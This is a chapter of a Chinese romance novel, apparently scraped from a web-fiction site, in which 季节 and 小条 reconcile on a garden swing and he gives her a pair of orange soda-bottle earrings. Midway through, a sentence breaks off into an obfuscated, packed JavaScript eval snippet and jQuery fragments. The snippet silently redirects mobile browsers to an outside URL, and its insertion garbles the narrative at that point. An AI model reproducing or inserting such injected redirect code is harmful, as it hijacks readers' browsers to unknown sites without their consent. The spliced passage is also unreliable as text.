秋天的秘密花园，像一座夜晚的游乐场。树叶开始泛黄，将秋千环绕在中间，就像橘色的温暖光束。


    季节的眼睛还红肿着，时不时还抽一声，但已经像没事人一样，整个人非常松弛。她晃晃悠悠地荡着秋千，抬头看着树环中间的那一片圆形天空。九月下旬，夜晚十点的晴空，就像深海蓝色的丝绒一样。小条坐在另一架秋千上，看着季节的侧脸。与小条那舒朗的侧脸相比，季节的侧脸看起来细致精巧，稚气未脱。


    看了一会儿，他转过头去，哼了一声。他不说话，季节也不说话。


    终于还是他忍不住开口了：“你不光污蔑我行为不检点，还不问我就删除微信。”季节顿时噎住了。小条则越说越委屈，心有戚戚：“现在你还不跟我说话！”


    “你当时不是也没问我吗？一想到你在脑海里编排我和狗哥在……”季节本来不喜欢翻旧账，但提起此事还是一阵恶寒，“你玷污我！”


    “别瞎说。”小条吓了一跳，“让人听了误会。我是不怕被这样误会的啦，主要是你……”


    “去你的。”季节大怒。他伸手拍了一下季节的头，说：“橘猫炸毛了。”


    季节怒意十足地盯了他一眼。他突然低下头，用凄楚可怜的语调说：“我不知道该怎么问你，我也没有身份问你。”


    季节心中像是被撬动了。她想起自己其实也临阵退缩，对那问题难以启齿，原来小条和她的心是一样的。就像是上天在布置一场轴对称的恶作剧，两人同时落入一模一样的难题，彼此就像照镜子。


    她还想到小条从小跟着父亲生活，情感交流为零，长大后连过年回家都要跟老爷子保持距离。他当然不知道该如何对季节开口。想到这里，季节生怕再探讨下去会勾起他的伤心事，急忙说：“以后有什么事，尽管直接问我就好了。”


    小条小心翼翼地说：“什么问题都可以吗？”


    “是的，我会解答的。”季节比他还要小心翼翼，诚惶诚恐地点头说，“欢迎垂询。”


    小条走下秋千，站在季节面前，慢慢俯下身来。他两手抓着秋千的两根绳索，好像要把季节圈起来。季节抬头和他对视着，察觉到自己的膝盖都碰到了他的腿。空气中立刻充满了蝴蝶振翅的声音，就像风铃或水音铃。小条看着她，酝酿了半天，认真地问道：“那我可以当真正的绿豆芽吗？”


    季节差点笑出来。她故意说：“你太高了，当不了绿豆芽。”


    他气恼地抿着嘴，季节怀疑他在咬自己的舌头。接着，他重整旗鼓，再度发问：“那，可以给我个身份吗？好让我能问你任何问题。”


    季节悠闲地向后仰去，就像一个大佬靠着不存在的沙发：“我还不认识你。”


    “什么？”小条立刻急了，一侧眉毛挑了起来，“那刚才你喊的小条是谁？”


    季节说：“是一只边牧。”


    “……”


    小条松开秋千，缓缓蹲在季节面前，单膝点地，平视着季节。她的耳朵里又开始出现那种蝴蝶振翅的声音，就像碎冰在碰撞。小条轻声问道：“你讨厌我的长相吗。”


    季节差点翻出一个大白眼。她心想怎会有人如此正话反说，明知故问？简直是一种刻意的炫耀手段，活像是大学时老D每逢选到自己拿手的课，就哭嚎着说自己学得不好，结果一放榜就是班级第一。于是她哼哼一笑：“你的长相？我当然讨厌啊。”


    “啊？”小条傻眼了。


    季节慢悠悠地说：“因为太好看了，我嫉妒。”


    “……”小条松了一口气，伸手拍了一下她的头顶，“哪学的土味情话。”


    面对如此小儿科的诱导，季节当然不会上钩：“谁跟你说情话了，我不认识你。”


    “我不管，给我个身份，行不行？”小条蹲在她面前，歪头看着她说，“是你说的，什么问题都可以问你，你会解答的。”


    “……”


    小条看着她笑了。季节突然反应过来，站起来就往外走：“边牧就是边牧，我可比不过你的心眼。”


    三街坊夜深人静，季节驾轻就熟地拐上一条小路，小条双手插兜跟在她身后，懒洋洋地说：“干嘛，要找你的绿豆芽去啊？”


    “人家姓王，不叫绿豆芽！”


    “呵呵，隔壁老王。”


    季节一再忍耐，继续说：“狗哥是我隔壁的邻居，那天我们在一起吃饭而已！他刚刚分手！”


    “什么，这也要告诉我吗？”小条的声音听起来带着难以置信的崩裂感，仿佛整个人被闪电劈开了。季节觉得他马上要抱着自己不依不饶地讨说法，急忙补充道：“我是要帮助他！帮他追回对象！”


    小条哼了一声，暗自得意，脸上大放光明。接着，他突然想到了什么，立刻又不干了：“所以你早就见过他的脸了？”


    “当然啊。”季节奇怪地说，“更早的时候，五月份我们楼封闭的时候，我和狗哥就去隔壁阿姨家吃过饭了。”


    “不戴口罩？”


    “你吃饭还戴口罩？”


    “哼！”


    季节心情良好，又刺了他一句：“我看见他们的脸，比看见你都早哦。”


    小条的脸已经绿了，嫉妒的情绪令他七窍生烟。他掐指一算，哀怨地说：“所以那时候你又跟本杰明打游戏，又跟绿豆芽吃饭，你好快活啊。”


    季节像一只招财猫一样笑眯眯地说：“我走了，今晚玩得真开心，再见！”


    “等等。”他立刻拉住了季节，“你现在住在哪？”


    “桥洞啊。”


    “……”他无奈地笑了一下，指着不远处的老楼，“我还住在那里，602。”


    “原来你也是602，和我当时一样的门牌号。”季节嫌弃地打量着他，“当时什么都不跟我说，嘴真严啊，条学长。”


    这声条学长叫得他魂飞天外，一副愣头青的表情。他盯着季节说：“你能来一下吗？就在门口等我一下就好，我有东西要给你。”


    季节不由自主地跟着他往那边走，期待地问：“你们开会又发点心了吗？”


    “不是。”他从鼻子里轻轻笑了一下，“最近我工作可能要变动，没有那么多会了。”


    “怪不得，我就说你今晚怎么不写报告？”季节无忧无虑地说，“要跳槽了？”


    他嗯了一声，没有多说。季节站在楼下等着，他几步就蹿上楼梯，还不忘回头说：“别走，等我。”


    季节说：“好，我不走。”


    老楼走廊的窗户是直接在墙上抠出来的，雕花镂空，没有玻璃。季节站在楼下看着，每一层的圆形画框里都迅速掠过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890531|173813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小条爬楼梯的身影，像一阵疾风一样。她在心里念道，卢风，卢风。


    很快，那道淡蓝色身影又掠过每一层的画框，原路返回楼下。他出现在季节面前，递上来一个纸盒：“这是去年出差那次买的，本来想带回来给你。”


    季节接过来那个素白色纸盒，刚想按照西式礼仪当场打开，又听小条说：“回去再看吧。”


    她抬起头来，发现小条的眼睛像一潭秋水，正平静而懊悔地注视着她。她想起这本应是去年就拿到的礼盒，却推迟了整整一年。为了打散这种遗憾的气息，季节转移了话题，同他寒暄道：“去年年底你阳了吗？”


    “阳了。”对面的回答言简意赅，“你呢？”


    “我也是。”季节振作地说，“现在我们都有抗体，能扛一段时间。如果不是摘掉了口罩，我还看不见你的脸呢。”


    “好看吗。”他挑了挑眉毛，“你记得去年我说过，如果摘下口罩以后你不太讨厌我，我就要跟你说一件事。”


    季节屏住呼吸，静静等着他往下说。只听他说道：“可惜你现在不认识我，我不说了。”


    “是的，我不认识你。”季节晃了晃手里的纸盒，“不过东西我就拿走了，谢啦。”小条呃了一声，站在身后，目送季节大步流星地离开。


    回到家里，季节摇了摇那巴掌大的盒子，听不出响动。她猜测里面是冰箱贴，当地旅游特色纪念。想不到打开白色纸盒后，里面又是个金丝绒小盒，大盒跟小盒之间塞满了浅金色和浅紫色的彩带，清甜冰激凌色调，让季节想起了去年夏天的月季倾慕和无尽夏。


    打开小盒，里面是一对闪闪发亮的耳环，白金耳勾上缀着汽水瓶形状的吊坠，那汽水瓶竟然是橘色的，季节立刻明白那是橘子啤酒。


    她看着这对充满童趣的滑稽耳环，笑了起来。今年的校庆已经过去了，但还有明年。她想象着明年春天，她会戴上这副耳环，让小条用口哨给她吹一段校歌。


    回看一年来的误解，就像一场莫名其妙的闹剧。这一年世事变迁，放开管制，冬天时人们感染，春天时陆陆续续康复。一切天翻地覆，没有什么不是暂时。但小条和她之间的牵绊是恒久的。


    季节私心还想再气小条几天，但她需要先把小条的微信加回来，以免一下玩脱，再次失联。她本想去志愿者群里点他的头像，却在打开微信界面时惊了一下。


    聊天列表上显示自己已经添加了小条和卢风，而且这两个对话框还被置顶了。其中，小条的那个对话框里，还发来一串自报家门的简历，包括了在上海的公司地址、家庭住址、在北京的老宅地址、他自己房子的地址……那简历事无巨细，甚至标注了他的身高体重及出生年月日。


    他背对着季节捅捅咕咕的画面，浮现在季节眼前。再一看朋友圈，小条竟然挨条点赞了她一年来的每一条动态，这些动态基本都是舞蹈视频，用来宣传和招生。


    只有其中一支舞不是用来招揽生源的。那就是《淡水暮色》的狐步舞，季节独自捧着纱巾，在舞池中滑行，就像捧着看不见的恋人的灵魂。那条动态的配文是：来如春霞，去如朝雾。一瞬息的记忆，也能让人记得很久。


    这一条动态下面，小条留了一句话：录吧，录好了我看。


    而他的昵称终于又改了：传纸条。